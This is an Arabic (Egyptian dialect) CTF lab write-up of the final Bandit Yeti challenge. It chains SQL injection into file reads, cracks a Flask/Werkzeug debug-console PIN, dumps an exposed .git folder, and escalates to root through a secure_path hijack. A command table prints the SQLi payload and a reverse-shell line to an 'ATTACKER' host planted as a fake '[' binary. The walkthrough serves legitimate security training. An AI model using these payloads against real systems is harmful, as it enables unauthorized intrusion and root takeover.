خاتمة قصة Bandit Yeti — موقع “The BFG” (Best Festival Company) بيوزّع صور SVG لعناصر الحدث. من نقطة تحميل بسيطة زي دي، هتوصل لثغرة SQL Injection توديك لقراءة ملفات كاملة، وكسر PIN كونسول Flask Debug، وفي النهاية تصعيد صلاحيات مبني على فهم عميق لإزاي شل بيبحث عن الأوامر.
اللاب ده أقل اعتمادًا على أدوات جاهزة من باقي السلسلة، وأكتر اعتمادًا على الفهم — خصوصًا في الخطوة الأخيرة اللي فيها لعب بمتغير secure_path وفرق بين أوامر الـ Shell المدمجة (Builtins) والبرامج الخارجية.
أكمل اللاب ده واحصل على شارة سلسلة Bandit Yeti كاملة (4 أجزاء)
تحدي اليوم الـ21 من الحدث الرئيسي بيوريك مستخدم “Frostlino” مسح فرع كامل. جوّه فرع GitLab المحذوف، الصورة الأصلية (قبل التشويه) فيها كود QR مخبي — ده مفتاح الوصول للاب.
GitLab deleted branchoriginal vs defaced imagenmap بيطلّع بورتين بس: SSH(22) وسيرفر Werkzeug/Flask للتطوير على port 8000. الموقع بوابة تحميل عناصر SVG، وGobuster بيكشف مسار /console — احتمال كبير إن Debug Mode شغّال.
باراميتر id في /download?id= بيتحط جوه استعلام SQL بـ string formatting من غير أي تعقيم. حقن UNION SELECT "file:///etc/passwd" -- - بيرجّع محتوى الملف كامل. نفس الحيلة على /home/mcskidy/user.txt بتديك الـ User Flag قبل ما تاخد أي شل خالص.
نفس ثغرة الـ SQLi/LFI بتقدر تسحب أي ملف — نستخدمها لجمع الـ “بيانات الخاصة” اللي محتاجها exploit الـ Werkzeug PIN: عنوان الـ MAC (عبر /proc/net/arp ثم /sys/class/net/eth0/address) و/etc/machine-id.
بتعبئة سكريبت كسر الـ PIN المعروف (من hacktricks/daehee.com) بالـ username المكتشف (mcskidy)، مسار app.py، وعنوان الـ MAC والـ machine-id، بيطلّع لنا الـ PIN الصحيح لفتح الكونسول التفاعلي.
crack_pin.py (SHA1 + salts)/console loginبمجرد فتح الكونسول، بننفّذ Python reverse shell (من revshells.com) مباشرة جوّاه — شل كامل كمستخدم mcskidy. ترقية الشل لـ TTY كاملة (pty.spawn + stty raw -echo).
مجلد تطبيق Flask نفسه فيه .git مكشوف. GitTools (gitdumper.sh + extractor.sh) بيسحب تاريخ الـ commits كامل. git log بيكشف commit غيّر بيانات دخول MySQL — الباسورد ده معاد استخدامه لحساب mcskidy نفسه.
sudo -l بيوريك تفصيلتين غريبتين: secure_path متضبّط على /home/mcskidy نفسه (مجلدنا!)، وصلاحية تشغيل /usr/bin/bash /opt/check.sh من غير باسورد. السكريبت ده بيعمل source لملف /opt/.bashrc غريب الوجود، واللي بيستخدم أمر test (بالصيغة [ ]) — لكن مش كـ built-in، لأن ظروف معينة بتخليه يدوّر عليه كـ برنامج خارجي في نفس الـ secure_path.
بما إن secure_path بيشاور على مجلدنا، بنحط ملف تنفيذي اسمه [ بالظبط جوه /home/mcskidy فيه reverse shell script. تشغيل sudo /usr/bin/bash /opt/check.sh بيخلّي السكريبت (شغّال كـ root) يستدعي الملف بتاعنا بدل أمر test الحقيقي — ونستقبل شل كامل بصلاحية root، وجوه /root نلاقي الـ Root Flag ومعاه yetikey4.txt.
| الأمر | الوصف | المرحلة |
|---|---|---|
| ‘ UNION SELECT “file:///etc/passwd” — – | SQLi → LFI لقراءة أي ملف على السيرفر | SQLi/LFI |
| gobuster dir -u http://IP:8000 -w wordlist | اكتشاف مسار /console المخفي | Enum |
| python3 crack_pin.py | توليد PIN كونسول Flask Debug من البيانات المسروقة | PIN Crack |
| python3 -c ‘import pty; pty.spawn(“/bin/bash”)’ | ترقية الشل لـ TTY كاملة | Shell Upgrade |
| python3 gitdumper.sh http://IP:8000/app/.git/ dump/ | سحب مجلد .git المكشوف | Git Dump |
| ./extractor.sh dump/ extracted/ | استخراج تاريخ الـ commits الكامل | Git History |
| sudo -l | اكتشاف secure_path المُعاد توجيهه + صلاحية check.sh | PrivEsc Recon |
| echo ‘#!/bin/bash’ > /home/mcskidy/[; echo ‘bash -i >& /dev/tcp/ATTACKER/4446 0>&1’ >> /home/mcskidy/[; chmod +x /home/mcskidy/[ | زرع برنامج مزيّف باسم [ في secure_path | PATH Hijack |
| sudo /usr/bin/bash /opt/check.sh | تفعيل السكريبت اللي بينفّذ برنامجنا كـ root | Root |
SQLi → LFI مباشر لـ /home/mcskidy/user.txt
PATH hijack على [ + sudo check.sh
آخر مفتاح من مفاتيح الـ Yeti الأربعة — في /root